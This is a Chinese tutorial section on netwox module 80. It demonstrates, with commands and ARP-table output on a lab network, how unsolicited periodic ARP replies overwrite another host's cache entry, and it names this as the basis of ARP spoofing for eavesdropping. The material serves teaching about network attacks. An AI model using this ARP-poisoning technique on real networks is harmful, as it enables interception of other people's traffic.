【1.5.5】周期性发送ARP响应包

正常情况下，ARP 响应是基于 ARP 请求的，只有发送了 ARP 请求才会得到 ARP 响应，并且发送一次 ARP 请求只会得到一个响应。

周期性发送 ARP 响应包，是指在没有 ARP 请求的情况下，以广播的形式多次发送 ARP 响应。

netwox 工具提供编号为80的模块，可以模拟计算机定期发送 ARP 数据包，从而更新其他主机的ARP缓存表。在 ARP 攻击中，该功能可以达到欺骗的目的，使受害者将数据包发送到错误的 MAC 地址主机（攻击主机），从而导致数据包被监听。

【示例】已知 netwox 所在主机为主机 A，主机 B 的 IP 地址为 192.168.59.135。使用 netwox 工具发送 ARP 响应包，以更换 ARP 缓存表中主机的 MAC 地址信息。

1. 在发送ARP响应之前，在主机B上查看主机ARP缓存表信息，执行命令如下：

   root@daxueba:~# arp -a

输出信息如下：

localhost (192.168.59.136) at 00:0c:29:bc:a4:89 [ether] on eth0
localhost (192.168.59.132) at 00:0c:29:aa:e0:27 [ether] on eth0
localhost (192.168.59.125) at 00:0c:29:ca:e4:99 [ether] on eth0
localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f8:bb:0f [ether] on eth0
localhost (192.168.59.2)     at 00:50:56:ea:f3:a1 [ether] on eth0

上述输出信息中，主机 192.168.59.136 的 MAC 地址为 00：0c：29：bc：a4：89。

2. 创建虚拟主机 192.168.59.136，并向该主机发送 ARP 响应包，设置 MAC 地址为 00：01：01：21：22：23，执行命令如下：

   root@daxueba:~# netwox 80 -i 192.168.59.136 -e 00:01:01:21:22:23

执行命令后没有任何输出信息。

3. 此时再次在主机B上查看主机 ARP 缓存表信息，执行命令如下：

   root@daxueba:~# arp -a

输出信息如下：

localhost (192.168.59.136) at 00:01:01:21:22:23 [ether] on eth0
localhost (192.168.59.132) at 00:0c:29:aa:e0:27 [ether] on eth0
localhost (192.168.59.125) at 00:0c:29:ca:e4:99 [ether] on eth0
localhost (192.168.59.160) at a1:b2:c3:d4:e5:f6 [ether] on eth0
localhost (192.168.59.254) at 00:50:56:f8:bb:0f [ether] on eth0
localhost (192.168.59.2)     at 00:50:56:ea:f3:a1 [ether] on eth0

上述输出信息中，主机 192.168.59.136 的 MAC 地址由原来的 00：0c：29：bc：a4：89 变为了 00：01：01：21：22：23。

4. 为了验证发送的 ARP 响应包，捕获数据包进行查看，如图所示。

其中，第 27~33 个数据包为重复发送的 ARP 响应包。

参考资料

• http://c.biancheng.net/view/6397.html